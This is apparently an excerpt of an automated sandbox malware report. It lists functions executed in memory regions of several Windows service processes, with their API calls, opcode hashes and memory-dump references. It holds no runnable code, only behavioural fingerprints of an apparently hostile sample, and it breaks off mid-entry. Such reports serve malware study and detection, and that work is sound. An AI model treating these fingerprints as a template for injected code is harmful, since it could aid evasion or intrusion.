Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 0aa43e0b38f585036a98d3f5509dbd66da53ccf1a6ef7ab425d7f83b7ae6d616
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 02C08C6052B83696B23802CC3C0B0B02E40BE03351B0C08068C02C02E0DD049E73C09B

Function 0052817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00528186

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 0d2e0dd12c0039f12841cb981487d7cc118ab6e8cf56cf9362d55b7ca9d5620b
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 51C092A095B53987B13827CC3C0A0B13D947E13761F0C4812ED069A3E0DD586DB3C5A2

Analysis Process: ssh-agent.exePID: 7692, Parent PID: 624COMMON

Executed Functions

Function 004E52A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 004E53C4

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 0ad6aec421669d743c0388162e9b3ac439f23b7ecbc3b44edf9c98a5bbea0f4f
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 6F41056180DED58FD326422754243B27BA0AB123EFF9D05D7D982CB2E2D19C0C82972F

Function 00500080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 005003E0

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction ID: 5829d541d9fd36e1748333dfecd972fc4a2850cfc17f964588f9e90c7016710d
Opcode Fuzzy Hash: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction Fuzzy Hash: 2ED1F431518F0A8BCB68EF58DC457EEBBD1FBA0310F585A1F9846C31E4DA749A45C6C2

Function 004E8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction ID: 14ed87657ee62c2b29eba7dbf53c154d78ff35c268286476c9dc755dd2d50452
Opcode Fuzzy Hash: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction Fuzzy Hash: C3610E3050CAC99FCF658B2B8814237BAA0BB55353F19469FE54EC22A1DF2C4C46934F

Function 004E5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 176d20ce2dfa6e1206a5e3775f786f51c02e6cda3db66efae998b82ea4a1d3d2
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: ECF1172071CE898FC669A71D58452BE7BD2FBD9314F58469BE04AC33D7DD289C06838B

Function 004E5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 5ca432cb1d534dc9a6b16f374130bc8802a46fd2c204f9bc8ce13c1a25c82c2e
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: BE21AD3020CFC58FCB699B1B88A877626A1AB5531FF3845A79047CF392CA6C9C45931F

Function 004E5B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 0e19596be02101642d290634a7bf5cd63e8a65d74ff32c1e8e3327f81190055b
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 5001D23050DFC68FDB9657268C2877A7790AB1432FF3401ABC487CA291DAAC4902A71F

Function 004E5B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 004E5B90
CreateThread.KERNELBASE ref: 004E5CDF

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: dbeb2e16f859bb0227576a5dc984b722c581526328c71f70f9e6cfc359dbde65
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 19E0863060DB844FDB999B2558203197AE5EB88319F1502CFC44ADB2D5CB6D1A06479B

Function 004E599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 004E59D9

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: b94851aa68514fcc40576e3f1d8ba20a74da344cded9cd26ff10a4dcf753a6d1
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: BC0126E0A0DEC0CFD61BEB1B44052FA2552BB9432EF2805AB904AC7293CA2C4D02974F

Function 004E8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 004E8186

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 2511c999b861efeef758db57839f487845bca07faddff315f40557303e3db930
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: AAC08C701289CA965E38038B0C0B1B2E6109302353B0C000F8C0E80321ED0C8E03019F

Function 004E817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 004E8186

Memory Dump Source

Source File: 0000001C.00000002.2618536290.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4e0000_ssh-agent.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 7001ae787e5aa22e0152516e00de58440ab77f5346329517ba0f713c27da1d53
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: E9C048A055868986593827CA2C0A1B2A5645712762B09462BAC0E9A362ED5C4D4346AE

Analysis Process: TieringEngineService.exePID: 1516, Parent PID: 624COMMON

Executed Functions

Function 007D52A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 007D53C4

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 9f2ec5aa84b500c5ce5983bb28560dbb1fea8755c4e1822e0daf343880ac3ff2
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 4141E7A140DED58FD72A462448643707BB0AB223EAF9D05D7D4C2CB3E2E19C5C859767

Function 007F0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 007F03E0

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction ID: a010ff8db0a7fd4c6fa25a8435d428d7a498676befa5c1418ce4233b8a32d1d1
Opcode Fuzzy Hash: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction Fuzzy Hash: F3D13631518B0D8BC728EF58C8457FAB3D1FBA0310F58461FDA46C7366DA78DA4586C2

Function 007D8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction ID: f705c41dd1ce3a9dd19cb82811641ec8f54ce8202bd5e5811af2f6e56a5d5b08
Opcode Fuzzy Hash: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction Fuzzy Hash: 9261127060CA49DFC7E59B2888583397BB0FB55360F68065BE44AC33A0DF2DAC4A9753

Function 007D5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: dd030ea929924df9b248719b8a01b71956390c042cc1bbed908b9ae5dd70a1ac
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 66F1262071DE4CCFC76AA72C58553BA77E2FB99320F58419BE14AC3396DD2C9C468782

Function 007D5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 5cb1fc14b6b70ceb068c4c9ba181c3f6b5947ecb48238432e299b3ed6d59a3bd
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: C221B03022CF46CFCB699B18849877476F2EB55351F6802A7844FCF3A6DA6C8C449772

Function 007D5B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: f27e27d2af68416b0f92edf14ed99b1f8f69e2bc52c907cc28f268c094606e76
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: A501F57021DF478FDB6557248C583797BB1EB11324F2901ABC48BCA395DA6C4900A732

Function 007D5B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 007D5B90
CreateThread.KERNELBASE ref: 007D5CDF

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: bfead7c4756c00284398140250957747a7b01731f29ed647bd9ba65c473c6d14
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 66E0867061DB484FDB599B2458203293EF5EB88310F1501CFC44ADB2D1CB7D09054796

Function 007D599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 007D59D9

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 971551cf1f85ba6609cf53f4e605bff33f4daeb40537088e541ebf14741e5094
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 6D01F970A0DE90CFD757971844692796A72F794330F28555BA08ACB393DC3C6D009752

Function 007D8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 007D8186

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 16c62c5db29afdb0126027ccede620c42761c7eb7b6e36da0a415be928e715e7
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: CFC04C6152995EB756F906485C1B4B826709606791B1C044F9C0A81320DD5F8E4F55A7

Function 007D817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 007D8186

Memory Dump Source

Source File: 0000001E.00000002.2627366659.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7d0000_TieringEngineService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 1b89de7a9292d5d92c799f2d3a346bf665fb838ce62cdc1c5ca208d2e230a382
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: F8C092A055950DA751F926886C0A0B9357096137A0F0C441FEC0A8A360DD5F8D4F45F3

Analysis Process: AgentService.exePID: 7708, Parent PID: 624COMMON

Executed Functions

Function 00BC52A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 00BC53C4

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 22ca38aa462139891ad997b817fd2c6cff5c9150a01df945659ece81687ea8d7
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: CC41D4A150DED58FD73A422448A4F717BD0EB923E2F9901DED0C38A1E6E1987CC1932A

Function 00BE0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00BE03E0

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: c11ee5687c00c96b91de077c18f7551a54bbc0b244710c1d6e6b7626570a282a
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: 89D12831428B4D8BC724FF59D8857EAB3E1FBA0310F18469FE446C7165DBB4D68586C2

Function 00BC8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: d10e7642c13491591391a607212a14121f4cb09d39d5cd4f33b7b582a8df7eaf
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: A661643061CA859FC7658B288898F767BE0FB9A350F2802DEE447DB1A1CF349C49C352

Function 00BC5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: dd3c3017631741dd657f256478daa4d22713a6495e26467cbae357b90c4dec88
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: C3F1283171CE888FC669A71E58417BAB7D2EB99310F5845DFE04BC7396DE34AC468382

Function 00BC5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 2a95d991b4bd4818479e6e5c7a16a56f7084959df7baaf662a91a9b06dd70008
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: E121813020CF458FDB7A9B1888D8F766AE1EB95311F6805EE9447CF1A2CA24FCC49356

Function 00BC5B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 764dac71daf23cbdd9b73d99e564b30844d7783afd698df9f358eca7b19f2369
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 9B01807010DF468FDB755B248C98F7A6BD0EB54324F6501EEC487CA091DA647DC0A712

Function 00BC5B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00BC5B90
CreateThread.KERNELBASE ref: 00BC5CDF

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: a1cc69f8efd9e57ae7cce392f80b878ad56df462b011fabf0666b3fa2720cbca
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: C5E0863061DB448FDB799F245D507197EE5EB88314F1502CEC44AD71D1CB692D458792

Function 00BC599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00BC59D9

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: d7dee5c92030e0834bde97b73e5bd031707027c181f7cd8a254955d724dad8f2
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 2801D67151DE84CFD73A9B194485F7966D1F754320F2845DEA08EC7092C9F4BDC09742

Function 00BC8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BC8186

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: dc78a101fe4cd9feb4470f49f5d3ddc84b25e900c9977dcac8a6d3bd4f5a0314
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 80C08C7013880296573A0A482C0BFB126C0C20E390B0E04CE8C02A0220DD288E4300A7

Function 00BC817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00BC8186

Memory Dump Source

Source File: 0000001F.00000002.1449878526.0000000000BC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_bc0000_AgentService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: e6c7f18aca96b79a919b6707949ccb2e6951efd0498291b024f145593229dddd
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 09C092B05A850987563A2A882C0AEB235D4C61F7A0F0E58DEED16BA361DD684D8341B2

Analysis Process: vds.exePID: 7724, Parent PID: 624COMMON

Executed Functions

Function 00B752A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 00B753C4

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
